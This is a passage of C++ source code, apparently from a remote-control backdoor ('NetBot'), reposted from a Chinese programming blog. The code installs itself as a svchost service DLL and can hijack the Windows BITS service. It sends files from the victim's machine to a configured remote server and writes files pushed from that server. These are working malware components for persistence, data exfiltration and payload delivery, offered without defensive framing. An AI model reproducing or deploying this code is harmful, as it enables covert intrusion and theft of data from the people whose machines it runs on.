- closesocket(FileSocket);
- return 0;
- }
-
-
- HANDLE hDownFile = INVALID_HANDLE_VALUE;
- DWORD dwDownFileSize = 0, dwBytes;
- BYTE SendBuffer[4096];
- int nRet =0 ;
-
-
- hDownFile = CreateFile(m_FileOpt.cScrFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
- if (hDownFile == INVALID_HANDLE_VALUE)
- dwDownFileSize = 0;
- else
- dwDownFileSize = GetFileSize(hDownFile, NULL);
-
- m_FileOpt.iSize = dwDownFileSize;
-
- if(send(FileSocket, (char *)&m_FileOpt, sizeof(FileOpt), 0) <=0 || dwDownFileSize <= 0)
- {
- shutdown(FileSocket,0x02);
- closesocket(FileSocket);
- return 1;
- }
-
-
-
- HINSTANCE hInst = LoadLibrary("kernel32.dll");
- if(hInst == NULL)
- {
- closesocket(FileSocket);
- return 0;
- }
- typedef BOOL (WINAPI *pReadFile)(
- HANDLE hFile,
- LPVOID lpBuffer,
- DWORD nNumberOfBytesToRead,
- LPDWORD lpNumberOfBytesRead,
- LPOVERLAPPED lpOverlapped
- );
- pReadFile MyReadFile;
-
-
-
- while(dwDownFileSize > 0)
- {
- if (MyReadFile)
- {
- if( !MyReadFile(hDownFile, SendBuffer, 4096, &dwBytes, NULL) )
- break;
- }
- else
- {
- if( !ReadFile(hDownFile, SendBuffer, 4096, &dwBytes, NULL) )
- break;
- }
-
- if( send(FileSocket, (char*)&SendBuffer, dwBytes, 0) <= 0 )
- break;
- dwDownFileSize -= dwBytes;
-
- }
- if (hInst)
- FreeLibrary(hInst);
- CloseHandle(hDownFile);
- shutdown(FileSocket,0x02);
- closesocket(FileSocket);
-
- return 10;
- }
-
- DWORD _stdcall FileUpThread(LPVOID lParam)
- {
- FileOpt m_FileOpt;
- memcpy(&m_FileOpt,(FileOpt*)lParam,sizeof(FileOpt));
-
- struct sockaddr_in LocalAddr;
- LocalAddr.sin_family=AF_INET;
- LocalAddr.sin_port=htons(modify_data.ServerPort);
- LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);
-
- SOCKET FileSocket = socket(AF_INET, SOCK_STREAM, 0);
- if(connect(FileSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
- {
- closesocket(FileSocket);
- return 0;
- }
-
- int iOutTime = 60000;
- setsockopt(FileSocket, SOL_SOCKET, SO_RCVTIMEO, (char*)&iOutTime, sizeof(int));
-
- MsgHead msgHead;
-
- msgHead.dwCmd = SOCKET_FILEUP;
- msgHead.dwSize = 0;
- if(!SendMsg(FileSocket, NULL, &msgHead))
- {
- closesocket(FileSocket);
- return 0;
- }
-
-
- HANDLE hUpFile = INVALID_HANDLE_VALUE;
- DWORD dwUpFileSize = 0, dwBufSize = 4096, dwBytes;
- BYTE RecvBuffer[4096];
- int nRet =0 ;
-
-
- hUpFile = CreateFile(m_FileOpt.cScrFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
- if (hUpFile == INVALID_HANDLE_VALUE)
- dwUpFileSize = 0;
- else
- dwUpFileSize = 100;
-
- m_FileOpt.iSize = dwUpFileSize;
-
- if(send(FileSocket, (char *)&m_FileOpt, sizeof(FileOpt), 0) <=0 || dwUpFileSize <= 0)
- {
- shutdown(FileSocket,0x02);
- closesocket(FileSocket);
- return 1;
- }
-
- while(TRUE)
- {
- nRet = recv(FileSocket, (char*)&RecvBuffer, dwBufSize, 0);
- if (nRet <= 0)
- break;
- WriteFile(hUpFile, RecvBuffer, nRet, &dwBytes, NULL);
- }
-
- CloseHandle(hUpFile);
- shutdown(FileSocket,0x02);
- closesocket(FileSocket);
-
- return 10;
- }
-
-
- BOOL _stdcall Install(LPCSTR szDllPath)
- {
- if (modify_data.bReplace)
- return ReplaceSvchostService("BITS",szDllPath);
- else
- return InstallSvchostService(modify_data.strSvrName,
- modify_data.strSvrDisp,
- modify_data.strSvrDesc,
- szDllPath);
- }
-
- BOOL _stdcall Uninstall()
- {
- if (modify_data.bReplace)
- {
- StopService(modify_data.strSvrName);
- }
- else
- {
- StopService(modify_data.strSvrName);
- UninstallService(modify_data.strSvrName);
- }
-
- return TRUE;
- }
-
- void CALLBACK RundllInstall(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow)
- {
- Install(param);
- }
-
- void CALLBACK RundllUninstall(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow)
- {
- Uninstall();
- }
-
-
-
- SERVICE_STATUS_HANDLE hSrv;
- DWORD dwCurrState;
-
- void __stdcall ServiceMain(DWORD dwArgc, wchar_t* argv[])
- {
- char svcname[256];
- strncpy(svcname, (char*)argv[0], sizeof svcname);
- wcstombs(svcname, argv[0], sizeof svcname);
-
- hSrv = RegisterServiceCtrlHandler(svcname, (LPHANDLER_FUNCTION)ServiceHandler );
-
- if( hSrv == NULL )
- return;
- else
- FreeConsole();
-
- TellSCM( SERVICE_START_PENDING, 0, 1 );
- TellSCM( SERVICE_RUNNING, 0, 0 );
-
-
-
- HANDLE hThread = CreateThread(NULL,NULL,RuningThread,NULL,NULL,NULL);
- WaitForSingleObject(hThread, INFINITE);
- CloseHandle(hThread);
-
- do
- {
- Sleep(100);
- }while(dwCurrState != SERVICE_STOP_PENDING && dwCurrState != SERVICE_STOPPED);
- }
-
- void __stdcall ServiceHandler( DWORD dwCommand )
- {
- switch( dwCommand )
- {
- case SERVICE_CONTROL_STOP:
- TellSCM( SERVICE_STOP_PENDING, 0, 1 );
- Sleep(10);
- TellSCM( SERVICE_STOPPED, 0, 0 );
- break;
- case SERVICE_CONTROL_PAUSE:
- TellSCM( SERVICE_PAUSE_PENDING, 0, 1 );
- TellSCM( SERVICE_PAUSED, 0, 0 );
- break;
- case SERVICE_CONTROL_CONTINUE:
- TellSCM( SERVICE_CONTINUE_PENDING, 0, 1 );
- TellSCM( SERVICE_RUNNING, 0, 0 );
- break;
- case SERVICE_CONTROL_INTERROGATE:
- TellSCM( dwCurrState, 0, 0 );
- break;
- case SERVICE_CONTROL_SHUTDOWN:
- TellSCM( SERVICE_STOPPED, 0, 0 );
- break;
- }
- }
-
- int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress )
- {
- SERVICE_STATUS srvStatus;
- srvStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
- srvStatus.dwCurrentState = dwCurrState = dwState;
- srvStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;
- srvStatus.dwWin32ExitCode = dwExitCode;
- srvStatus.dwServiceSpecificExitCode = 0;
- srvStatus.dwCheckPoint = dwProgress;
- srvStatus.dwWaitHint = 3000;
- return SetServiceStatus( hSrv, &srvStatus );
- }
-
- BOOL APIENTRY DllMain( HINSTANCE hModule,
- DWORD ul_reason_for_call,
- LPVOID lpReserved
- )
- {
- switch (ul_reason_for_call)
- {
- case DLL_PROCESS_ATTACH:
- g_hDllModule = (HMODULE)hModule;
- #ifdef NETBOT_TEST
- CreateThread(NULL,NULL,RuningThread,NULL,NULL,NULL);
- #endif //NETBOT_TEST
- break;
- case DLL_THREAD_ATTACH:
- break;
- case DLL_THREAD_DETACH:
- break;
- case DLL_PROCESS_DETACH:
- break;
- }
- return TRUE;
- }
- 原文地址:http://blog.csdn.net/yincheng01/article/details/7214474